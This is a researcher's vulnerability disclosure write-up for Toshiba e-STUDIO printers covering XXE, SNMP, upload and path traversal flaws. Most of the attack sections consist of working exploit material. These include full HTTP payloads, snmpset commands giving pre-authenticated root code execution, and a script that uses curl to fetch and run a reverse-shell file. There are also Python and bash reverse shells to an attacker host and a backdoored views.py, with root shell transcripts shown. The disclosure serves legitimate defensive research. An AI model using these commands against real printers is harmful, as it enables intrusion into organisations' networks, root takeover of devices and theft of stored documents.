e-STUDIO Multi-Function Printers (MFPs) are fast and productive, providing businesses and organisations the capability to produce what you need, when you need it.
From https://www.toshibatec.co.uk/workplace-solutions/products-and-solutions/mfps-and-printers/
Vulnerable versions: 103 different models of Toshiba Multi-Function Printers (MFP) are vulnerable. It is recommended to visit the official Toshiba advisory, review the list of affected printers and apply security patches and replace unsupported MFP models.
The summary of the vulnerabilities is as follows:
/tmp/backtraceScript.sh
and injection of malicious gdb commands/home/SYSROM_SRC/build/common/bin/sapphost.py
program/home/SYSROM_SRC/bin/syscallerr
CVE-2024-27171 to CVE-2024-27180 affect the implementation of third-party application system and third-party applications installed by default in Toshiba printers - this is an extremely interesting attack surface for persistence.
TL;DR: An attacker can compromise Toshiba Multi-Function Printers using multiple vulnerabilities.
List of vulnerable models of Toshiba Multi-Function Printers (103 models):
2021AC, 2521AC, 2020AC, 2520AC, 2025NC, 2525AC, 3025AC, 3525AC, 3525ACG, 4525AC, 4525ACG, 5525AC, 5525ACG,
6525AC, 6525ACG, 2528A, 3028A, 3528A, 3528AG, 4528A, 4528AG, 5528A, 6528A, 6526AC, 6527AC, 7527AC, 6529A,
7529A, 9029A, 330AC, 400AC, 2010AC, 2110AC, 2510AC, 2610AC, 2015NC, 2515AC, 2615AC, 3015AC, 3115AC, 3515AC,
3615AC, 4515AC, 4615AC, 5015AC, 5115AC, 2018A, 2518A, 2618A, 3018A, 3118A, 3018AG, 3518A, 3518AG, 3618A,
3618AG, 4518A, 4518AG, 4618A, 4618AG, 5018A, 5118A, 5516AC, 5616AC, 6516AC, 6616AC, 7516AC, 7616AC, 5518A,
5618A, 6518A, 6618A, 7518A, 7618A, 8518A, 8618A, 2000AC, 2500AC, 2005NC, 2505AC, 3005AC, 3505AC, 4505AC,
5005AC, 2008A, 2508A, 3008A, 3008AG, 3508A, 3508AG, 4508A, 4508AG, 5008A, 5506AC, 6506AC, 7506AC, 5508A,
6508A, 7508A, 8508A, 3508LP, 4508LP, 5008LP.
Miscellaneous notes:
This security assessment was entirely done using a blackbox approach and fully-remote - I only had some IPs of printers (no physical access and no credentials for admin or normal users). Consequently, the physical security of the printers was not analyzed and the vulnerabilities were confirmed with different models running the latest firmware versions (e-STUDIO2010AC, e-STUDIO3005AC, e-STUDIO3508A and e-STUDIO5018A).
The vulnerabilities were communicated to Toshiba on June 14, 2023 and communications with Toshiba were very effective.
Impacts
An attacker can compromise Toshiba multi-function printers (MFP) and execute code. These printers are running Linux and are powerful. They are ideal to host implants (and fun programs, like Bettercap) and move laterally inside infrastructures.
Recommendations
The Toshiba printers use XML communication for the /contentwebserver
API endpoint provided by the printer.
This endpoint is managed by an Apache module located inside the mod_contentwebserver.so
library. This library provides XML parsing and is vulnerable to a time-based blind XML External Entity (XXE) vulnerability.
Using a Billion-laugh attack, we can confirm there is a time-based blind XXE vulnerability. When sending only 1 entity (&lol1) that is defined inside the lolz root element, this &lol1 entity is expanding into 10 entities and the request takes 200ms.
With an entity that is expanding into:
Even if the Apache server displays MODULE_ERROR:SendRequest failed
, the XML has been successfully evaluated by the mod_contentwebserver.so
library running in the remote printer.
The payload is:
POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.852d519a6fa9825fae857bac5c003da0
Content-Length: 759
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/?MAIN=TOPACCESS
Cookie: Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS; IgnoreSessionTimeout=1
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol5;</lolz>
Using this HTTP request inside Burp (with a correct session while browsing the printer without authentication), we can modify the entity on the last line; we can see that the XML has been parsed by comparing the time required for the printer to analyze the request.
The time will appear inside Burp on the bottom-right of the Window (in red in the following screenshots):
With 10^10^10^10^4 entity, then request takes 30 seconds.
HTTP requests containing more XML complexity (with a lot of XML entities to be parsed) will DoS the printer and the CPU of the printer will run at 100%.
The XML parser is vulnerable to XXE, without authentication.
Exfiltration of file over HTTP, FTP and gopher was not obtained as some protections seem to be implemented in the XML parser.
The Toshiba printers use XML communication for the /contentwebserver
API endpoint provided by the printer.
This endpoint is managed by an Apache module located inside the mod_contentwebserver.so
library. This library provides XML parsing and is vulnerable to a XML External Entity (XXE) vulnerability.
Using a Billion-laugh attack and correctly formatted data for the printer (with the Toshiba-specific non-public DTD, the tags will be interpreted by the remote printer), we can confirm the presence of a XXE vulnerability. The resulting evaluated XML will be displayed by the printer:
The malicious payload is (containing a <X>&lol4;</X>
):
POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.5d5255447c6eb69fc84a2d8c2056eb7d
Content-Length: 1226
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/Administration/CreateNewPwd.html
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1; clicked=0; addrLastVisited=ADDRBK; Session=10.0.0.2.5d5255447c6eb69fc84a2d8c2056eb7d; PREF=%7BList%2C8%2CClip
boardForPage-%7D; PROGSTAT=0
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<?xml version="1.0"?>
<DeviceInformationModel>
<GetValue>
<UserManager>
<View>
<Users/>
</View>
</UserManager>
</GetValue>
<SetValue>
<UserManager>
<View>
<Users>
<User>
<Information>
<X>&lol4;</X>
</Information>
</User>
</Users>
</View>
</UserManager>
</SetValue>
<Command>
<ForgotPassword>
<commandNode>UserManager/Users</commandNode>
<Params>
<userDetails contentType="XPath">UserManager/View/Users/User</userDetails>
<cmdDetails commandType="Reset"/>
</Params>
</ForgotPassword>
</Command>
</DeviceInformationModel>
And the response will be:
HTTP/1.1 200 OK
Date: Wed, 27 May 2023 10:54:12 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=63072000
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: text/xml
Content-Length: 30465
<?xml version="1.0"?>
<DeviceInformationModel>
<GetValue>
<UserManager>
<View>
<Users>
<User>
<Information>
<X>lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol[...]lollollollollol</X>
</Information>
</User>
</Users>
</View>
</UserManager>
</GetValue>
<Command>
<ForgotPassword>
<commandNode>UserManager/Users</commandNode>
<Params>
<userDetails contentType="XPath">UserManager/View/Users/User</userDetails>
<cmdDetails commandType="Reset"/>
</Params>
<Response>
<statusOfOperation>STATUS_FAILED</statusOfOperation>
</Response>
</ForgotPassword>
</Command>
</DeviceInformationModel>
kali%
The XML parser is vulnerable to XXE, without authentication.
An attacker can exploit the XXE to retrieve information.
Exploitability was not analyzed in depth since a RCE was found at the same time: Pre-authenticated Remote Code Execution as root.
It was observed that the Toshiba printers use SNMP for configuration.
By default, these communities are used:
public
for read only access;private
for read/write access.Using the private
community, it is possible to remotely execute commands as root on the remote printer.
For example, these commands will execute the command id
as root on the remote printer:
kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip] 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c id'
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c id
kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 6
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c id
NET-SNMP-EXTEND-MIB::nsExtendInput."cmd" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."cmd" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."cmd" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."cmd" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."cmd" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."cmd" = STRING: uid=0(root) gid=2000(trusted) groups=0(root)
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."cmd" = STRING: uid=0(root) gid=2000(trusted) groups=0(root)
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."cmd" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."cmd" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".1 = STRING: uid=0(root) gid=2000(trusted) groups=0(root)
Using this vulnerability will allow any attacker to get a root access on a remote Toshiba printer as shown below.
This following PoC will execute a connect-back shell with root privilege to 10.0.0.2:21/tcp:
kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip] 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /home/SYSROM_SRC/build/release/bin/python 'nsExtendArgs."cmd"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.0.0.2\",21));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /home/SYSROM_SRC/build/release/bin/python
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.0.0.2\",21));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"
kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects
And on the attacker machine, we will receive a shell on port 21/tcp:
kali# nc -l -v -p 21
listening on [any] 21 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 43467
sh-4.1# uname -ap
Linux MFP12188257 3.10.38-ltsi-WR6.0.0.11_standard #3010 SMP Wed Jul 6 16:20:23 IST 2022 i686 GNU/Linux
sh-4.1# id
uid=0(root) gid=2000(trusted) groups=0(root)
sh-4.1# exit
The attacker will then get a full root access in the printer, including full access to the encrypted partition:
kali# nc -l -v -p 443
listening on [any] 443 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 36468
bash-4.1# df -h
df -h
Filesystem Size Used Avail Use% Mounted on
rootfs 4.8G 3.7G 904M 81% /
/dev/root 48M 28M 18M 62% /old_root
/dev/sda2 4.8G 3.7G 904M 81% /
/dev/sda13 4.8G 49M 4.5G 2% /platform
none 1.5G 188K 1.5G 1% /dev
/dev/sda3 4.8G 1.3G 3.4G 28% /rollback
/dev/sda5 25G 904M 23G 4% /work
/dev/sda6 2.9G 620M 2.2G 23% /registration
/dev/sda7 976M 1.3M 908M 1% /backup
/dev/sda8 32G 60M 30G 1% /imagedata
/dev/sda9 94G 65M 89G 1% /application
/dev/mapper/enc_encryption
992M 2.6M 964M 1% /encryption
/dev/sda12 119G 60M 112G 1% /storage
tmpfs 1.5G 3.7M 1.5G 1% /dev/shm
bash-4.1# mount
mount
rootfs on / type rootfs (rw)
/dev/root on /old_root type ext2 (rw,relatime,errors=continue,user_xattr)
proc on /old_root/proc type proc (rw,relatime)
/dev/sda2 on / type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda13 on /platform type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
none on /dev type tmpfs (rw,relatime,mode=755)
ramfs on /ramdisk type ramfs (rw,relatime,size=100m)
/dev/sda3 on /rollback type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda5 on /work type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda6 on /registration type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda7 on /backup type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda8 on /imagedata type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda9 on /application type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/mapper/enc_encryption on /encryption type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda12 on /storage type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
tmpfs on /dev/shm type tmpfs (rw,relatime,mode=755)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)
bash-4.1#
The vulnerability is located inside net-snmpd, as net-snmpd supports the NET-SNMP-EXTEND-MIB
extension MIB.
This extension allows the execution of code from the net-snmpd daemon, with root privileges, with 2 steps:
A bash payload is also provided:
This following PoC will download a shell script, save it inside /dev/shm/pwn.sh
and execute it as root on the targeted printer:
kali% cat /var/www/html/pwn.sh
#!/bin/sh
bash -i >& /dev/tcp/10.0.0.2/443 0>&1
kali% cat ./remote-pwn.sh
#!/bin/sh
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "curl http://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"'
snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "chmod 755 /dev/shm/pwn.sh"'
snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = ' "/dev/shm/pwn.sh"'
snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects
Using this PoC to get a connect-back root shell:
kali% ./remote-pwn.sh 10.0.0.1
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "curl http://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 21
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "curl http://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"
NET-SNMP-EXTEND-MIB::nsExtendInput."cmd" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."cmd" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."cmd" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."cmd" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."cmd" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."cmd" = STRING: % Total % Received % Xferd Average Speed Time Time Time Current
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."cmd" = STRING: % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 53 100 53 0 0 53 0 0:00:01 --:--:-- 0:00:01 114
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."cmd" = INTEGER: 3
NET-SNMP-EXTEND-MIB::nsExtendResult."cmd" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".1 = STRING: % Total % Received % Xferd Average Speed Time Time Time Current
NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".2 = STRING: Dload Upload Total Spent Left Speed
100 53 100 53 0 0 53 0 0:00:01 --:--:-- 0:00:01 114
Error in packet.
Reason: inconsistentValue (The set value is illegal or unsupported in some way)
Failed object: NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd"
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 21
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: "/dev/shm/pwn.sh"
caTimeout: No Response from 10.0.0.1
And the connect-back shell script will connect to 10.0.0.2 on port 443/tcp, as defined in the previous pwn.sh
script:
kali# nc -l -v -p 443
listening on [any] 443 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 36464
bash-4.1# uname -ap
Linux MFP14144292 3.10.38-ltsi-WR6.0.0.11_standard #3513 SMP Tue Jul 5 09:58:22 IST 2022 i686 GNU/Linux
bash-4.1# id
uid=0(root) gid=2000(trusted) groups=0(root)
bash-4.1#
We can also review the configuration file located at /encryption/al/network/config/snmpd.conf
, containing the default communities:
bash-4.1# grep -v '^#' /encryption/al/network/config/snmpd.conf
rocommunity public
rocommunity6 public
rwcommunity private
rwcommunity6 private
com2sec udp 0.0.0.0/24 public
view all included .1 80
view generaluser_view excluded .1
view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.23.2.1.3
view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.21.4.1.3
view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.21.4.1.4
access udpGroup "toshibaAmerica" v1 noauth exact all all none
access admin_priv_group "" usm priv prefix all all none
access admin_auth_group "" usm auth prefix all all none
access generaluser_priv_group "" usm priv prefix all generaluser_view none
access generaluser_auth_group "" usm auth prefix all generaluser_view none
trapcommunity public
dlmod mibs_impl /home/SYSROM_SRC/lib/libalmibs_impl.so
master off
agentaddress udp:161,udp6:161
authtrapenable 1
maxGetbulkRepeats 20
maxGetbulkResponses 100bash-4.1#
SNMP is also exposed over IPv6.
Toshiba printers provide several ways to upload files using the web interface.
By default, this web interface is reachable without authentication.
For example, using the e-filing web interface, freely reachable using http://ip:8080/?MAIN=EFILING, we can upload documents:
It is possible to upload a document:
The uploaded file will be stored inside the printer in the /work/al/tmp/upload/ directory, inside a directory named by the current session.
bash-4.1# find /work/al/tmp/upload
/work/al/tmp/upload
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test3.txt
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test1.txt
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test2.txt
bash-4.1# ls -latrR /work/al/tmp/upload
/work/al/tmp/upload:
total 12
drwxr-xr-x 7 root lp 4096 Mar 24 05:35 ..
drwx------ 2 apache trusted 4096 Mar 24 05:43 ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab
drwxrwxrwx 3 root trusted 4096 Mar 24 05:46 .
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab:
total 20
-rw-rw-rw- 1 apache trusted 8 Mar 24 05:41 test1.txt
-rw-rw-rw- 1 apache trusted 9 Mar 24 05:42 test2.txt
-rw-rw-rw- 1 apache trusted 9 Mar 24 05:43 test3.txt
drwx------ 2 apache trusted 4096 Mar 24 05:43 .
drwxrwxrwx 3 root trusted 4096 Mar 24 05:46 ..
bash-4.1#
This current session is provided by the printer when visiting the web interface without authentication.
An attacker can replay the HTTP request with a valid session obtained while browsing http://ip/?MAIN=EFILING without authentication, and change the path to the uploaded file. This path will then be used to store the file inside the remote printer.
For example, with a Name
variable set to /./../../../../../home/SYSROM_SRC/sbin/malicious.program
, the uploaded file is correctly written into /home/SYSRM_SRC/sbin/malicious.program
inside the printer.
The HTTP request will be:
POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12552735029913057752829397207
Content-Length: 1011
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/efiling/UploadArchive.html?v=1517352288ta
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; Session=10.0.0.2.c8a776a2c87613d78cbb94c558269c61; IgnoreSessionTimeout=3
Upgrade-Insecure-Requests: 1
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"
frames[1].formSubmitComplete
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="DeviceInformationModel"
<DeviceInformationModel><Command><Move><commandNode>FileStorages</commandNode><Params><source><File>test.txt</File><name>Upload</name></source><destination><name>DataImport</name></destination></Params></Move></Command></DeviceInformationModel>
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="CsrfpId"
10.0.0.2.c8a776a2c87613d78cbb94c558269c61
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="/./../../../../../home/SYSROM_SRC/sbin/malicious.program"; filename="test.txt"
Content-Type: text/plain
MALICIOUS_CONTENT_WRITTEN_INTO_THE_HARD_DISK
-----------------------------12552735029913057752829397207--
Burp Request:
And the file is correctly written into /home/SYSRM_SRC/sbin/malicious.program
inside the printer:
This vulnerability can be used to get Remote Code Executions using several different ways. Due to some weaknesses found in Toshiba printers, there are hundreds different ways to get Remote Code Execution. For example:
This lack of protection can be found in several HTML forms when using the printer, without administrative privileges. For example, the page at http://10.0.0.1:8080/Administration/maintenance/uploadsoft/DriverCustomize.html allows uploading any file:
It is mandatory to inject a <INPUT TYPE=SUBMIT>
in the server response using Burp or to directly generate such request to upload any file.
An example is shown below on how to get Remote Code Execution using the upload of a malicious Python script in the next section, using the following request:
POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------394285998421640844852768059947
Content-Length: 1126
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/Administration/maintenance/uploadsoft/DriverCustomize.html
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; clicked=0; addrLastVisited=ADDRBK; IgnoreSessionTimeout=1; Session=10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c
Upgrade-Insecure-Requests: 1
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"
frames[0].formSubmitCompleteUploadList
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="DeviceInformationModel"
<DeviceInformationModel><GetValue><eFiling><View><BoxList/></View></eFiling></GetValue><Command><GetEFilingBoxes><commandNode>eFiling/BoxList</commandNode><Params><responseXpath contentType='XPath'>eFiling/View/BoxList</responseXpath><curPage contentType='Value'>1</curPage><pageSize contentType='Value'>200</pageSize><definedBox contentType='Value'>true</definedBox></Params></GetEFilingBoxes></Command></DeviceInformationModel>
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="CsrfpId"
10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="test.txt"; filename="test.txt"
Content-Type: text/plain
test
-----------------------------394285998421640844852768059947--
And the file is correctly uploaded into the printer:
bash-4.1# ls -la /work/al/tmp/upload/ContentWebServer_10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c/
total 12
drwx------ 2 apache trusted 4096 May 27 19:34 .
drwxrwxrwx 3 root trusted 4096 May 27 19:30 ..
-rw-rw-rw- 1 apache trusted 5 May 27 19:34 test.txt
bash-4.1# cat /work/al/tmp/upload/ContentWebServer_10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c/test.txt
test
bash-4.1#
We can find several webpages allowing exploiting the vulnerable /contentwebserver/upload
API.
It was determined that these webpages are using the insecure /contentwebserver/upload
API. They can be used by any attacker to upload any file into the printers:
Some of these files are directly reachable without authentication (e.g. Registration or efiling) and can be found without an admin account.
Some of the APIs and web interfaces of the printers are written in Python.
Since the permissions of these Python scripts inside the printers are insecure, a backdoored version of the /registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py
has been uploaded as shown below:
Content of /registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py
with a malicious payload added on line 25:
1 #! /usr/bin/env python 2 # -*- coding: utf-8 -*- 3 import sys 4 import os 5 from pyramid.view import view_config 6 from pyramid.exceptions import HTTPForbidden 7 from pyramid.response import Response,FileResponse 8 from server.screenfacade.appmgmt.applicationmanager import applicationManagementModel 9 import logging 10 import json 11 import pyeapicore 12 13 sys.path.append('/home/SYSROM_SRC/lib') 14 15 log = logging.getLogger("server") 16 17 @view_config(route_name='get_app_list_deployed', xhr=True, renderer='jsonp') 18 def get_app_list_deployed(request): 19 log.warning("++++++++++++++++++++++++++++++++") 20 log.warning("get app list Views : Start ") 21 SessionID = '' 22 session = ' ' 23 csrfpId = '' 24 browserLang = '' 25 os.system("bash -i >& /dev/tcp/10.0.0.2/21 0>&1") 26 27 if 'SessionID' in request.cookies: 28 SessionID = request.cookies['SessionID'] 29 if 'Session' in request.cookies: 30 session = request.cookies['Session'] 31 if 'csrfpId' in request.headers: 32 csrfpId = request.headers['csrfpId'] 33 if 'BrowserLang' in request.cookies: 34 browserLang = request.cookies['BrowserLang'] 35 36 log.info('Session ID obtained from request :' + SessionID) 37 log.info('csrfpId obtained from request:' + csrfpId) 38 validationMap = True 39 40 if validationMap['VALIDATION_STATUS'] == 'PASSED': 41 log.info('User Validation : SUCCESS') 42 data = applicationManagementModel.getAppList(browserLang) 43 log.warning("get app list Views : End ") 44 log.warning("++++++++++++++++++++++++++++++++") 